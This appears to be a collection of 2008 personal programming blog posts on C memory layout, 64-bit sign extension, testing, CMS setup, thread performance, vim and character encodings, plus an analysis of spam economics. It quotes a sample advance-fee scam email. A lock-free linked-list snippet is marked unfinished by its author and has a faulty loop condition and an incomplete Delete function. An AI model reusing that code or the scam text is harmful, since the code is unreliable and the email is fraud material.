+++ killed by SIGSEGV +++
Process 17918 detached

Interestingly 0x622000-0x601000 = 135168. and brk is a system command to:- change data segment size.

Does that mean malloc internally creates a block of memory of size 135168? and ditributes pointers of atleast 32 bytes from this big chunk?

probably yes!

Testing: Developer perspective

2008-12-02T21:07:00.000-08:00

"Putting a Developer perspective to testing..."

Software testing as many of us already know, is to mandate the quality of software that has been developed by the engineering.

This includes testing the functional requirements of the software.

i.e. test the s/w for what it was meant for...

And some non functional requirement

like performance, scalability, maintenance, Usability etc

* Most important of which is Usability:

Imagine how gmail has changed the way we email? Remember the old yahoo email rendering engine? Refresh the whole page every time you clicked on compose/reply button. It was frustrating especially when the n/w bandwidth was premium.

* And then comes Peformance:

Non performing software is a hindrance, but tolerable to some extent. But software which shows hour glass figure for more than 5 seconds does blew my patience. No wonder I do not use eclipse. It takes atleast 15 seconds to boot-up on a 2Ghz machine with 2 GB Ram. VIM is much better, thank you.

* Scalability is a issue for some

How much load can the software take? How many concurrent users can the server cater (given some h/w specifications)?

Does it scale equally well as and when cpu and memory are increased? This is the most important requirement for servers and middle-ware applications.

Example: If the application server can handle 500 msgs/sec and if we double the cpu and memory (h/w prices fall every 2 quarters) then: Does the server performance double(1000 msg/sec)? Most often its not a simple math.

There are issues with the architecture and design of the software (global locks, memory fragmentation, too many context switches, queuing up, synchronous logging) which cause software performance degradation with load.

* Did I mention Security?

Application log sensitive data (log messages including Credit card numbers, authentication data, or user specific data).

Programmers add Code specific information: __FUNCTION__, __LINE__, __FILE__. All this can be used to reverse engineer the code.

Although programmers have now become sensitive to buffer over run exploits and hence use strncpy versions (or someone doing the code review takes care of it) but still many developers are not keen in checking for invalid arguments.

Black box testing methods:
There is a funky word for testing software for different input values. It's called equivalence partitioning. Meaning partition your input into Invalid and valid values and verify that the s/w stays still (doesn't crash!). Boundary value analysise(Max and Min values) are to be taken care as well. And taking it to the next level of random input is Fuzz testing.

------------------------
Not yet complete...

./a.out readonly strings

2008-12-02T03:54:00.000-08:00

Ever wondered why this program crashes?

void main() {

char * str = "NonWritable";

str[0] = 'X'; /*<< Booom*/

}

Compiling the same using -fwritable-strings option to gcc however did not result in a segmentation fault.

Let me warn you before you try it yourself. GCC removed the support of writable strings with 4.0 and above. Hence, GCC no longer accepts the -fwritable-strings option. Use named character arrays when you need a writable string.

What does that mean?

It means that use this instead: char str[] = {"Writable"}; instead of char * str = "Non Writable"

Aha, now i get it...somehow char * str is marked read only? but where and how?

Ok Lets dig in...

What Kinds of C Statements End Up in Which Segments? (Courtesy: "Expert C Programming")

Segments? Does it have to do with segments and Paging in OS architecture... hell no! Its something to do with how ./a.out (executables) are organized and laid out. Many Authors call segments as sections who want to distinguish the two types. But for now I would continue calling them as segments.

Try this: Linux has a utility name size which prints out size of various segments(or sections) of the executable.

For example: size ./a.out

text data bss dec hex filename
1167 + 528 + 60032 = 61727 f11f ./a.out

Actual size of ./a.out is 9324 (9K Bytes) using dir equivalent.

What is the size program printing? Its actually printing various sizes of the segments in which the executable ./a.out is divided. As you might have guessed they are 'text' , bss and data.

Here is the example copied from the "Expert C Programming"

Here is the summary:
- All Initialized Global/Static variable go into the data segment.

- All uninitialized global variables go into the BSS segment. Since all global variables are initialized to zero by default, there is no need to remember it. That is probably why the bss segment was created.

- char * str = "Non Writable" goes into the text segment, which is when loaded into the memory by the loader(?) is marked as read only. That is why the above program crashes!

Now, I am wondering how can we write a self mutating program when the text segment is marked read only.

- Variables declared on stack are not captured in any segment. Thus declaring a big array on stack does not increase your a.out size.

But will declaring a huge array as global or static increase a.out size?

Lets see:

Declaring a global array int arr[], compiling and running size and also checking the actual size of the file a.out:

size.c:

char arr[64000];
void main () {
}

gcc size.c; size ./a.out gave the output as:

text data bss dec hex filename | Actual size of file ./a.out

char arr [6400]; 1012 484 64032 65528 fff8 a.out | 9121 bytes

char arr [640000]; 1012 484 6400032 6401528 61adf8 a.out | 9121 bytes
Clearly, just declaring a big array does not change the Actual size of the binary.

However declaring and initializing the array

char darr[6400000] = {"test"};
void main () {
}

text data bss dec hex filename | Actual size of file ./a.out
1012 6400512 16 6401540 61ae04 ./a.out | 6409145

Makes the executable size as 6409145 bytes, ouch! compare it with 9121 bytes above.

The only change was that the array was initialized, which moved the array into Data segment (instead of BSS segment). Since the BSS segment only holds variables that don't have any value yet, it doesn't actually need to store the image of these variables.

Until next time...

XP theme, looks like Vista!

2008-11-30T02:19:00.000-08:00

Well here you go: try this

Download Royale Noir (.ZIP) [403K]
Download Royale Noir (.RAR) [232K]

Instructions to use:

Extract files to “C:\windows\resources\themes\royale noir”

Double click on “luna.msstyles”

Select “Noir” from “Color Scheme”

Because this theme has been code-signed by Microsoft, No UXTheme.dll hack required.

And my Desktop looks like:

[gallery]

Sometime after the launch of XP, somewhere in Redmond, someone on the Microsoft design team was in the progress of developing something for Media Center. It was believed to be too powerful for public consumption and forever archived in the servers at 1 Microsoft Way (source http://www.istartedsomething.com/20061029/royale-noir/).

Archived Forever? Nah.. Vista looks much similar. Since I don't like desktop wallpapers, I kept it dark (Although you may want to download one from the net..)

hail XP!!

http://xmltech.wordpress.com/

2008-11-28T21:30:00.000-08:00

I generally do my techie rants here:
http://xmltech.wordpress.com/

I would like to switch from wordpress to blogger, in case you know of any tool,
pls let me know.

Writing 64 bit Clean code

2008-11-28T02:32:00.000-08:00

Data Type       32          64
char             1 byte      1 byte
short            2 bytes     2 bytes
int                4 bytes     4 bytes
long             4 bytes     8 bytes
pointer         4 bytes     8 bytes
size_t           4 bytes     8 bytes
long long     8 bytes     8 bytes

Notes:
• The size and alignment of long integers and pointers have changed
from 32 bit to 64 bit.
• For the most part, as long as your code always uses the sizeof
function when allocating data structures, the size and alignment of
pointers should not affect your code, because structures containing
pointer members are generally not written to disk or sent across
networks between 32-bit and 64-bit applications. However, the
change in the size of long can cause problems if you frequently
move data between variables of type int and long.
• You should generally avoid casting a pointer to a non-pointer type
for any reason (and particularly not for performing address
arithmetic). If possible, rewrite any code that does this, either by
changing the data types or by replacing address arithmetic with
pointer arithmetic.
• If you are shifting through the bits stored in a variable of type long,
1 Depends on whether _FILE_OFFSET_BITS=64
you should be careful to avoid assuming that it is of a particular
length. Instead, use the value sysconf(_SC_LONG_BIT) to
determine the number of bits in a long.
• Be careful when using bit masks with variables of type long,
because the width will change between 32-bit and 64-bit
architectures.
• If you want the mask value to contain zeroes in the upper 32 bits on
a 64-bit architecture, the usual fixed-width mask will work as
expected, because it will be extended in an unsigned fashion to a
64-bit quantity.
• Use explicit types where possible. For example, types with names
like sint32_t and uint32_t will always be a 32-bit quantity,
regardless of future architectural changes.
• Conversion of shorter types to 64-bit longs may yield unexpected
results in certain cases. Be sure to read the section “Sign Extension
Rules for C” if you are seeing unexpected values from math that
mixes int and long variables.
• The alignment of long long (64-bit) integers has changed from 32
bit to 64 bit. This can pose a problem when you are exchanging
data between 32-bit and 64-bit applications.

Signed != Unsigned

2008-11-28T02:22:00.000-08:00

Beware: This post assumes Linux LP64 Data Model. So it may not be valid for Win64. Since, sizeof int != sizeof long on Linux but sizeof int == sizeof long on Windows LLP64 DataModel

Problems of Sign Extension:

void main()
{
int a=-2;
unsigned int b=1;
long c = a + b;
long c1 = a + (long) b;

long long d=c; // to get a consistent size for printing (on both architectures, 32 and 64 bit).

...

}

PROBLEM: When executed on a 32-bit architecture, the result is -1 (0xffffffff). When run on a 64-bit architecture, the result is 4294967295 (0x00000000ffffffff), which is probably not what you were expecting

Rule #1 : Now, when you add a (int) + b (uint) : The result is : Unsigned. Thus, a + b results in a unsigned integer (-1) which is 0xffffffff.

Rule #2: When unsigned int numbers are promoted to long's. They are not sign Extended. Thus, -1 which is 0xffffffff is simply promoted to 0x00000000ffffffff which is a very high number. Note: This problem does not come on a 32 bit OS. Since long is 4 bytes.

What? The Idea is simple: unsigned quantity does not have a sign attached to it, right? so if unsigned quantity is promoted to a long(or unsigned long) then they simply cannot be sign extended!

However, signed quantities do have a sign, thus when they are promoted to a long, it is all duly taken care. i.e:

Rule #3: Signed values are always sign extended when promoted to a larger
type, even if the resulting type is unsigned.

(unsigned or signed) Long = Signed int will Work.

i.e. Signed values are always sign extended when promoted to a larger type, even if the resulting type is unsigned.

int a = -1;

long v = a;
unsigned long v1 = a;

printf("%d %ld %ld\n",a, v, v1);

Output (on a 64 bit value) is: -1 -1 18446744073709551615

The above big value clearly shows that when signed integer -1 was promoted to a signed long value (which would be 64th bit (sign bit) was set as 1).

Rule #5: Constants (unless modified by a suffix, such as 0x8L) are the
smallest size that will hold the value. For numbers written in
hexadecimal, this includes both signed and unsigned int, long,
and long long types. For decimal numbers, this only includes
signed types.

To be or not to be..

2008-11-13T04:37:00.000-08:00

Hmm..

I have been coding for the last 7 years in c and c++. Now things have become so mundane that I can code with my eyes closed and my brain half dead. Programming everyday in office, I do not get a problem for which I've to think much. There is nothing which makes me awake from my sleep. Mostly a bug fix, a feature integration or just plain refactoring. There is no excitement of a new learning or a new technology. I am getting old and tired of doing the same/similar things again and again...

What I would like is to try something radically different. Like?

1) UI Design. Be an expert in designing simplified UI for next generation devices.

2) A web based software. With things now slowly moving towards SAAS (s/w as a service model) and web based delivery of software. I would like to get involved in it, to see the how this technology transforms the way s/w is delivered and used.

3) Product management: Instead of thinking about algorithms and datastructures, I would like to move one step closer to where products are incubated.

And some more...

Crash at the nth hour

2008-11-10T20:37:00.000-08:00

Now, here is what happened yesterday.

A POC is scheduled for next day morning. Since its a big customer everyone is looking forward for it. POC preparations are underway when I get a call at 9.30pm that there is a crash. We have a reg-ex capabilities on the application data on the fly, as an when the message is parsed through our box.

We were using a standard posix regex engine. No brainer there..however what I left behind was a simple Null check.

This post is to remind myself as a good programmer that even when assumptions are that the string can never be null, go ahead and make a check on Null'ness of the string. Especially when passing it to standard libc libraries (strcpy/regcomp etc).

And if you don't, what will be the end result? Crash at the nth hour..Fixes, Patches, unnecessary late nights...

Stint with a CMS - Twiki, installations and problems

2008-11-10T20:24:00.000-08:00

Alright,

I decided to play with a few CMS available on the net. And there are tons and tons of them, all free!

Requirements:

All I wanted was a good content management system,

- with Wiki support,

- along with a forum

- email based notifications

- integration with svn and bugzilla (if possible)

I should have added 'Ease of install and configuration' as my requirement. As many of the CMS packages available proved me otherwise.

First Choice: Twiki

Twiki was the first choice, but soon I realised its cumbersome installation and configuration. Tweaking twiki is a daunting task, Especially on a windows based system. Actually most of these CMS are made for Linux and hence installation and configuration is still based on .conf files, scripts, assumptions and more.

Fortunately there is a Windows Installer for Twiki 4.2 available on the net. And the installation of that is one-click, seamless install. It includes an inbuilt apache, perl etc. But this I stumbled upon accidentally, only after wasting my lot of time on WindowsInstallCookBook and tons of garbage insturctions on how to install zillions of modules to just get twiki up and running! I say Why? Why do the end user has to follow tons and tons of instructions to just get the s/w running? I mean developers of twiki spent countless hours developing a good CMS system, but didn't spend couple of hours maintaining some one-cick installater for the end users? sad.

Anyways, I was able to get twiki running (using the windows installer) however i stumbled upon another problem. Installation is one problem. Confguration of modules in Twiki requires another PHD. Its based on TWIKI_VARIABLES_TO_BE_SET='Hell' on a twiki page (instead of maintaining .conf files). This may sound to be a great idea from a developer point of view, but has a extreme learning curve from an end user point.

Finally trying hard to search in a extremely big bulky Twiki site, searching for modules, and how to make it working, i was more or less left on my own. A few modules (like forum in twiki) worked in one shot, simply by unzipping them into twiki directory. However a few gave me big time pain. Twiki originally based on a Linux system assumes a lot of stuff ( tools like svn etc are available on linux) but not on windows. Which means, I would have to download those tools, configure them and make sure the perl scripts from twiki are able to use those tools. Now there is no neat information available on the net which can help you do that in one shot.

Trac

Trac looked impressive. Had inbuilt support for forum and svn. However its installation is a night mare too.

Again it pointed me to a page of tons of confusing instructions on how to download stuff required to run trac: python, setuptools (some sort of python library used to setup trac), Pysqlite, Genshi and bleh!.

And the instructions are given in plain lucid form here.

Click "Start" > "Run..." (or press Win+R)

Type "cmd" and click "Ok" - this opens the Windows command console

Type "cd c:\Python24\Scripts"

easy_install blah_package.

Great! so easy. but somebody who spent hours in writing this information, could have created a single installation based script to do the same. isn't it? Why force people who need a no-brainer solution go through hundreds of instruction..

I left trac evaluation in a hurry, couldn't have possibly gone ahead with it.

Drupal and Joomla

Installation of drupal was seamless!!!

This was the first time I could do it with minimal instructions.

Just Install XAMPP (which is apache + PHP +MySql and sendMail). Unzip the drupal directory under htdocs.

There you go, point your browser to http://localhost/drupalx.y/ and the installation is cool :).

One catch!

Need to pre-create a database for drupal(just give any name) which can be done from http://localhost/xampp phpMyAdmin link. Also remember to copy user say: root and assign a password to it. again PhpMyAdmin> Priviledges.

Both user name, password and database name(given above) are asked as input during the drupal installation (http://localhost/drupalx.y/)

Great CMS systems, but I rejected them as they didn't had wiki support.

Thank drupal and joomla, now Its easy to create a website of your own!

And Finally TikiWiki

- The installation was seamless (xampp, unzip into htdocs, point your browser to your installation http://localhost/tiki/ and there you go. Just remember to create a database and a user using http:/localhost/xampp phpMyAdmin link.

- The configuration was UI based, thank goodness.

- Documentation was comprehensive along with a Tikiwiki manual for Dummies smarties.

- There forum support was good as well.

All in all. I was up with TikiWiki in no time...

To my surprise, it looked more refined than Twiki, the UI was more intuitive, not cluttered. Finding and setting up information was easy.

Finally one last thing! The email notifications. This took me a lot of time.

Considering that al other previous installs had explicitly asked for SMTP settings, I was expecting similar. However it was only after a night out I realised that Tiki email notifications (for first time registrations for example) are dependent on php.ini.

Tiki relies on your xampp php.ini and sendmail/smtp.ini settings. It depends on mail() function inbuilt into PHP to work. Thus, if your settings in the above two files are correct, then tiki email notifications should work seamlessly. But first I had to be sure that my above configuration is right. For that I googled for a php email script.

Found one:

<?php
$to = "recipient@example.com";
$subject = "Hi!";
$body = "Hi,\n\nHow are you?";
if (mail($to, $subject, $body)) {
echo("<p>Message successfully sent!</p>");
} else {
echo("<p>Message delivery failed...</p>");
}
?>

Copied it into htdocs and tried it using my browser. Showed 'Message successfully sent' but no mail :(

Had to tweak xampp/sendmail/smtp.ini to enable debug.log to figure out that the authentication was failing. Alright, that was fixed and voila the script worked and so did the Twiki Email notificaions.

Yahoo!

Lock free Queues

2008-10-17T00:37:00.000-07:00

This post is incomplete..
-----------------------------------------------
Can a Singly linked list be made Lock free?

hmm, Let me try for a solution..

Probably we would need is a Compare and Swap (CAS) (or InterlockedExchange64() on Windows).

Insertion: Consider 'p' the node where new node 'n' is to be inserted.

bool Insert( node *p, node * n)
{
    if (!p) return FALSE;

       /*1) Read the variable p->next in a local variable
        *2) then Compare this local variable with the address from where we read initially.
           if they both are same, then no other thread has changed the list, swap it. CAS will take care of this atomically.
        *3) Here we dont care about ABA issue which we will discuss a little later.. */ 

    do {
       local =  p->next;  n->next = local;
    } while ( compareAndSwap( local, &p->next,  n) == local) ;

   return TRUE;
}

Consider d be the node to be deleted, which is next of p
bool Delete (node * p, node * d)
{
       do {
              local = p->next;
              d->next;
       } while
}

Idea is to take the next pointer of p in a local variable, Compare and Swap statement then compares the local variable with the given address (p->next), If it has not changed, the value will be swapped with n in one single CPU instruction which is gauranteed to be atomic. CAS is more explained on wiki here..

Now from here starts another problem. The problem is called ABA. reminds me of popular band ABBA.

ABA is not a acronym :)

Let me explain why the problem exists. Suppose a pointer has been deleted, the next malloc can return the same very pointer which has been recycled. Many popular memory managers do that for whatever reasons. The basic problem with CAS is that it compares an address with a value. It's possible that between the time the old value is read and the time CAS is attempted, some other processors or threads change the memory location two or more times such that it acquires a value which matches the old value.

i.e. The value of the address was Initially A, Before CAS was attempted, it was changed to B and changed back to A again. Will CAS realise that value of the address has been changed twice(or may be many more times). No.

How does it affect our insert algorithm above? That will require more exaplanation:
-----------------------------------------------
This post is incomplete..I've to find time to finish this...
-----------------------------------------------

Users don't like bugs

2008-07-23T01:35:00.000-07:00

Product Quality Guidelines: What can be done from engineering point of view to make users happy?

1) Integrate CruiseControl (free software) to do daily builds. Find build breaks faster..

2) Automated test-suite for Regression, run every day on daily builds.

3) Automated emails to engineering for Regression failures.

4) Fix for regression failures to be taken as P1

5) All Code Checkins go through strict peer-code review (Code quality).

6) Developers Add new test cases into regression as and when new features get in (a must).

7) QA folks add new system test cases, Run randomization/Performance tests. Send weekly emails on the status.

Make an attempt to keep your software Bug-free!

Regression

2008-07-21T23:21:00.000-07:00

When you fix one bug, there are 50% chances that you would introduce several* newer bugs. Thats a fact. Irrespective of how good programmer you are, Its very easy for a bug to crop in. Especially at the last hour, just before a release.

If a bug is found at the last minute and a quick-fix can be made by the dev-team. What would you chose to do?

Fix the bug.

Take it up in the next release, no checkins at the last hour. After all the qa-complete, regression tests and randomization/performance tests have been completed on a qualified build. Why take unnecessary risk of disqualifying/breaking any of it?

This is the dilemma every Dev-manager has to go-through.. Whether or not he/she choses to make the fix(or break the release!) depends on many factors.

Decision to fix the bug should not be on how easy the fix is. It should be on how crucial is the fix for the success of the product?

How many customers will it effect. If its one in four people(25%), than its a P1 blocker (P1-B). If its less than that, then probably the bug can go as a patch fix. Microsoft is famous for its SP1 and SP2 releases.

Is it something the user will notice right away (P1) or is it a usability issue with the product

Is there a work around?

Is it one of the input-types which fails validation? Can an attacker misuse it? If yes, then its P1

Remember how embarrassing the situation went for Bill Gates when Win-98 crashed right while doing its presentation (see Infamous Windows 98 crash ). Fixing that kind of bug is P1.

There can be other questions as well which a dev-manager needs to ask himself before the decision is made to checkin the fix.

Remember generally the gut-feeling will be that everything will work. Hence the decision should be based on some rational thinking rather than the gut-feeling. In my opinion its wise to be pessimist rather than an optimist..because Murphy is there and he is always watching...

"if anything can go wrong, it will."

Morality at workplace

2008-07-21T02:03:00.000-07:00

Kill the performance - Part 1

2008-07-20T14:47:00.000-07:00

An engineer was called to fix an expensive piece of machinery.. he came, thought deeply while looking at the machine.. took a hammer and hit the machine and it worked...soon he presented his bill to the customer.. 1000 bucks? for hitting with a hammer? The customer exclaimed..

Nope only 10 for hitting, the rest to figure out where to hit...

Ask any customer how they would like there software to be: Bug free, works all the time & performing.

All the engineers do the same mistake time and again. thats why I thought of writing down some of the mistakes i did to kill the performance of app's i've designed/coded.

Performance blunder #420: More the number of threads, the better. right?

Not so right. Any multi threaded application is best performing when the number of threads is equal to the number of cores in the system. This is true when the application is non blocking.

What exactly is blocking? Aren't system calls and a simple LOG statement to a file or a printf blocking? You must have noticed that Enabling logging to console(printf) drops the performance of the app by atleast 50%. Calling any system api will cause a software interrupt to change from user to kernel level which enables the underlying OS to context switch out the running thread and prioritize or time slice the cpu between other runnable threads. Hence, there is a chance that when you call a system api your thread gets context switched. but you see, thats not exacly blocking.

Any system api which can potentially make the thread to sleep is a blocking call. For example: Waiting on a socket to read or write(the kernel puts the thread to sleep if the socket buffer is full) is a blocking call. Trying to write to a NFS file in sync mode is a blocking call. But writing down a buffer to a local file may not be a blocking call (citations needed).

IMHO: maximum number of threads spawned in the app should be twice the number of cpu's in the system. There are Api's available to find the number of cores (cpu's) in the system.

Performance blunder #421: Queue up.

For some unknown reason all developers tend to think that delegation of work to a different set of thread pool is a better design.

I've seen the same mistake being done at two different organizations.

Designing a network app? One thread pool to recv data, which then queues up new connections to another set of queue. The other thread pool picks up the work and finally queues it up for sending it out. The final set of thread pool does some more processing on the message before sending it out to the destination.

Another app had a user defined pipeline with different components working on a message. Since the pipeline was user defined, any component could be invoked in any order. The design was to have different threapools for each component, and the message was enqueued to the component as the pipeline was processed.

Both the apps were non performing. The bottleneck was simple: Queues.

Thread Context should be dreaded by programmers as much as possible. Every time a work is to be delegated to a different thread. Hords of performance pit falls come into picture. First: the producer thread has to enqueue the msg into some shared queue which obviously will be mutex protected. The cost of involving a mutex itself is very high. Even if you have some sort of lock free queue, the cost of context switch involved will show up big time. All programmers should vow to do most processing inline in the same thread until the os itself decides to schedule them out. That's the essence of performance.

Take the queue out and get the processing done inline. But the design enthusiasts will ask: If every component is calling other component inline, Won't it lead to spaghetti code? Yes, it might.. And thats where you need a good design. Design the flow of code inline, without queues, but keep the components segregated. Each component calls the other using an interface. Keep all components sources in different directories with individual .so or static libraries. All common code between components should go into a common/ folder which can be used by all. Keeping the interface and the directory structure (of the code) clean is the key here..

Annoying beep, flashes on using vim

2008-07-16T03:35:00.000-07:00

Vim :help visualbell comes up with:

'visualbell' 'vb'

Use visual bell instead of beeping. The terminal code to display the visual bell is given with 't_vb'. When no beep or flash is wanted, use ":set vb t_vb=". Note: When the GUI starts, 't_vb' is reset to its default value. You might want to set it again in your |gvimrc|. In the GUI, 't_vb' defaults to "<Esc>|f", which inverts the display for 20 msec. If you want to use a different time, use "<Esc>|40f", where 40 is the time in msec.

Aha! Now I know from where I was getting those annoying visual flashes(for 20msec) when I was working on GNU screen over vpn which was apparently slow.

I searched and searched for how to disable this visual flash while editing source code with vim. But in vain.

Now I know: set vb t_vb=

Yahoo: Google Desktop available for Linux

2008-07-14T22:03:00.000-07:00

	Download Google Desktop
New: Support for 64-bit Linux

Search your computer as easily as you search the web with Google

Find information in your documents, emails, web history, and more

Launch applications and files with just a few keystrokes

Google type in hindi

2008-07-08T07:53:00.000-07:00

http://www.google.com/transliterate/indic/

Won £1000,000 pounds!

2008-07-05T21:56:00.000-07:00

Congratulations! your email address has won you £1000,000pounds in the ongoing NOKIA MOBILE/EMAIL PROMO

This is the email I received today morning..It went past spam filters inbuilt into google email..

That made me thinking, what exactly is spam? And, most importantly, what is there Business model?

99% of spam wants you to click on a web-site, to call a phone number, or send an order to a fax number, or fill a form. Many of them advertise you of winning 100 thousands of dollars and the stories they tell are really interesting.

As per statistics and estimates, the number of spam emails flowing on the internet per day:

In absolute numbers

1978 - An e-mail spam advertising a DEC product presentation is sent by Gary Thuerk to 600 addresses, though software limitations meant only slightly more than half of the intended recipients actually received it.^[28]

2005 - (June) 30 billion per day^[27]

2006 - (June) 55 billion per day^[27]

2007 - (February) 90 billion per day

2007 - (June) 100 billion per day^[29]

100 billion per day! Thats H u g e...

Why would anyone send 100 billion emails to complete strangers without making any money out of it...There has to be some business model, which keeps the business thriving. To find out that hidden money is the intention of this post..

First something about spam. Wikipedia has an excellent writeup on it.. read here

What are the most kind's of spam emails:

1) Product Advirtisements

scams

Main article: Advance fee fraud

Advance fee fraud spam such as the Nigerian "419" scam may be sent by a single individual from a cyber cafe in a developing country. Organized "spam gangs" operating from Russia or eastern Europe share many features in common with other forms of organized crime.

Take a look at Creative form of Criminal activity here in Nigerian Fraud Email Gallery

The Goal is simple: To woo the winner with a big amount and then ask for "advance fee" for the expenses required to transfer those millions. creative & very effective!

One of such crazy email story here:

From: "PRINCE ARTHUR EZE" <princearthureze@email.com> Date: Sun, 02 Jun 2002 06:20:08 To:greedymark@everywhere.com Subject: respond promptly

From the Desk of: REV FRANKLIN EGOBIA SENIOR ACCOUNTANT INTERCONTINENTAL BANK LIMITED #98 ADENIRANB OGUNSAYO BRANCH

TO: THE MANAGING DIRECTOR/CEO

DEAR SIR,

RE:TRANSFER OF THE SUM OF US$52.1M DOLLARS INTO YOUR ACCOUNT FIRST,I MUST SOLICIT YOUR CONFIDENCE IN THIS TRANSACTION.THIS IS BY VIRTUE OF IT'S NATURE AS BEING UTTERLY CONFIDENTIAL AND TOP SECRET.THOUGH I KNOW THAT A TRANSACTION OF THIS MAGNITUDE WILL MAKE ANYONE APPREHENSIVE AND WORRIED.BUT I AM ASSURING YOU THAT ALL WILL BE WELL AT THE END OF THE DAY.WE HAVE DECIDED TO CONTACT YOU THROUGH THIS MEDIUM DUE TO THE URGENCY OF THIS TRANSACTION AS WE HAVE BEEN RELIABLY INFORMED OF YOUR DISCRETENESS AND ABILITY. LET ME START BY INTRODUCING MYSELF TO YOU. I AM REV FRANKLIN EGOBIA SENIOR ACCOUNTANT OF INTERCONTINENTAL BANK LIMITED ADENIRAN OGUNSAYO BRANCH OFFICE LAG0S NIGERIA

...

Thousands of unsuspecting people fall for this trap year after year. The stories get better and hi-tech each year.

Phishing

Main article: Phishing

Spam is also a medium for fraudsters to scam users to enter personal information on fake Web sites using e-mail forged to look like it is from a bank or other organization such as PayPal. This is known as phishing.

That is why submitting confidential information like Credit card numbers are a strict No-No.

Recently I shopped at indiaplaza.in and this is the email I received from them:

----------------------------------------------------------------

Thank you for shopping at Indiaplaza.in. We hope you had an enjoyable
experience shopping on our site.

This mail is with reference to your order number 301020070616 for a value
of Rs. 16595/- we have to follow an additional due diligence process before authorisation.
We carry out this process for the additional protection of
our customers and to prevent misuse of the credit card

As part of the process, we earnestly request you to send us the billing
address (where you receive your credit card statement).

- email the scanned copy of latest credit card statement.

- email the scanned copy of front and the back of the credit card
used to pay for this order.

Using these documents, we will be able to get additional information
required by us to authorize the order. We request you to e-mail the details to triveni@indiaplaza.in

We assure you that we will authorize and process your order as soon
as we receive these details from you. Please accept our sincere thanks for
your cooperation.

We look forward to hearing from you at the earliest and also having you

shop with us regularly.

Warm regards,
Triveni
Senior Executive - Payment Authorization
Browse,Shop.Have a great time at : www.indiaplaza.in
India's finest virtual supermarket

----------------------------------------

Here was my reply to them:

Hello Triveni,

* I can send the scanned copy of Latest credit card statement.
* But will *not* send the scanned copy of front and the back of the credit card used to pay for this order.

I hope you understand that sending copy of credit card(Both front and Back) in email is a HUGE RISK!
And anybody who has access to my credit card information can misuse the card.

By asking me to send a scanned copy of my credit card you are inviting trouble for me, which I cannot oblige. so let me know what shall I do.

-----------------------------------------------------

There reply was that they will go ahead with the order and they shipped the order as requested.

But I was surprised that a online shopping co. - Indiaplaza was asking for Scanned copy of Credit Card..

Information which is so confidential, is being demanded from naive users. They claim themselves to be in authority (Senior Executive - Payment Authorization) such that anyone could fall into there trap.

Disclaimer: Probably, Indiplaza are asking this because the number of Credit card defaulters might be high in India. But my concern is that any call-center guy working in indiatimes would have access to huge number of credit card information; A potential of a big fraud waiting to happen...

------------------------------------------------------------------------

Coming back to email frauds.

So where is the money hiding?

- Phishing and Advance fee scams clearly have hidden money.

- Advertisements for products have *some* money as well.

But still is it worth it? Is the cost recoverable?

The money spent in sending billions of emails mainly: cpu time, power required to run the setup, network bandwidth to connect to the internet, and finally tracking each customer falling into there trap. All of that involves $$$. So is it a profitable business at all?

Lets do some math:

The email I received today belongs to the Advance fee Nigerian scam. Suppose out of 100 billion email spam every day, 10% is such email = 10 billion Nigerian scam messages forwarded.

Out of 10 billion messages, let only .0001% of the people make a fool of themselves.

= 0.0001% * 10 billion = 10,000 people.

if all 10,000 people send 100 dollars as a advance fee then its a business of One Million US Dollars. But not every one will send 100 dollars, some more, some less, depending upon how gullible they are.

Assuming not even half of them reply, still you have made customers who would pay at least half a million or quarter of a million in a day.

Assuming not all emails sent in a day are successful, hence we talk of successful emails over a month.

Still the business would make atleast make half a million of US dollars per month, with network bandwidth falling and computer prices slashed, the business model will fit to work from Third world countries..

Best regards,

--Woods

Characters

2008-07-03T06:07:00.000-07:00

Different Characters, Fonts, Glyphs, Encodings, Keyboard settings.

I get Crazy thinking about ASCII, EBCDIC, Unicode, UCS-2, ISO-8859-1, UTF-8, UTF-16, UTF-32, char * and the wchar* (Wide Character). The Code set, code value, Character set, It's crazy!

* What happens when you click on your keyboard? Read here

* How do we represent a character in binary?

* What exactly is encoding-type?

* How do we support fonts in Hindi, Chinese and other Languages?

These are the questions I would attempt to answer referring to external articles from time to time which give in-depth details.

Clearly ASCII had a limited set of characters (7 bit) totaling 128 Characters. Covered Basic A-Z, a-z, Numeral, Special characters and Control characters.

At the same time IBM had defined EBCDIC for mainframes. The same character A had a different code value in the EBCDIC Code Page. Character 'A' was 0xC1 or Decimal 193 in EBCDIC Code Page but same character 'A' was 0x41 or Decimal 65 in ANSI. What a mess. No wonder EBCDIC was so unpopular among early programmers and hackers.

So now you can imagine what a Code Page is. Its a Big table that represents the Character Decimal Value of the Character itself.

With time there was a need to represent characters in other languages Like Latin, Spanish, Arabic, Hebrew etc. A Different Code Page was alloted and the various characters were given there place in the Code Page. Not all language required a new Code Page. Since many of the characters in them were already defined in one of the Code Pages. All the New Code Pages defined maintained the Ascii Characters and used the range from 128 to 255. For example the ISO-8859 codes extend the ASCII in different ways with different special characters (used in different languages and cultures). Just as ISO 8859-1 contains ASCII characters and a collection of characters needed in languages of western (and northern) Europe, there is ISO 8859-2 alias ISO Latin 2 constructed similarly for languages of central/eastern Europe, etc.

Thus ISO 8859-n became the superset of ASCII and became a defacto encoding.

(Check out various types of encodings supported by Firefox in View->Character encoding)

But there were languages which had characters more than 255 and could not fit in the 8 bit boundary of ASCII or ISO 8859* encoding. With Time There was a need for defining the universal Code Page which had unique Numerical value for all the symbols and characters in this world.

Hence ISO 10646 by ISO and IEC defined UCS, Universal Character Set, which is a very large and growing character repertoire, and a character code for it. Currently tens of thousands of characters have been defined. Unicode, was the practical definition of UCS.

Encodings for Unicode

Originally Characters defined in earlier versions of Unicode were under 65K. Thus a two byte integer was more than required to represent that character. Thus Originally the "native" Unicode encoding was UCS-2, which presents each code number as two consecutive octet which could fit in a two-byte integer or 16 bits.However with revision 4th, Unicode defined more than 94K characters.

Thus, the Universal Character Set was Unicode. All Characters had a unique place in it which could be represented as U+0xabcd.

For example: Character A was 0x0041 (same as the ASCII).

But should a single ASCII character which took a single byte in memory take 2 bytes? What about tons of code already written treating strings as char *. Should they be changed in two character bytes( WChar or Wide Character?) Well that Just happened and suddenly all character strings in Windows were defined as wchar or TCHAR to be ASCII and Unicode independent. But then all simple ASCII strings took double the space as each character was 2 bytes long. This was clearly not good when your application simply dealt with ASCII characters.

Character encoding is an algorithm where characters are given there unique octets.

In the simplest case of ISO-8859 and ASCII Characters, they are represented as it is. There octet value is same as the Code value in there Code Page.

Now since Unicode was getting bigger than 94K charcters which would not fit even in 2 bytes, there was a need for algorthms which could represent these unique character values into sequence of octets.

Thus came encoding algorithms:

UTF-8 encoded each character value as a sequence of 8 bit octets.

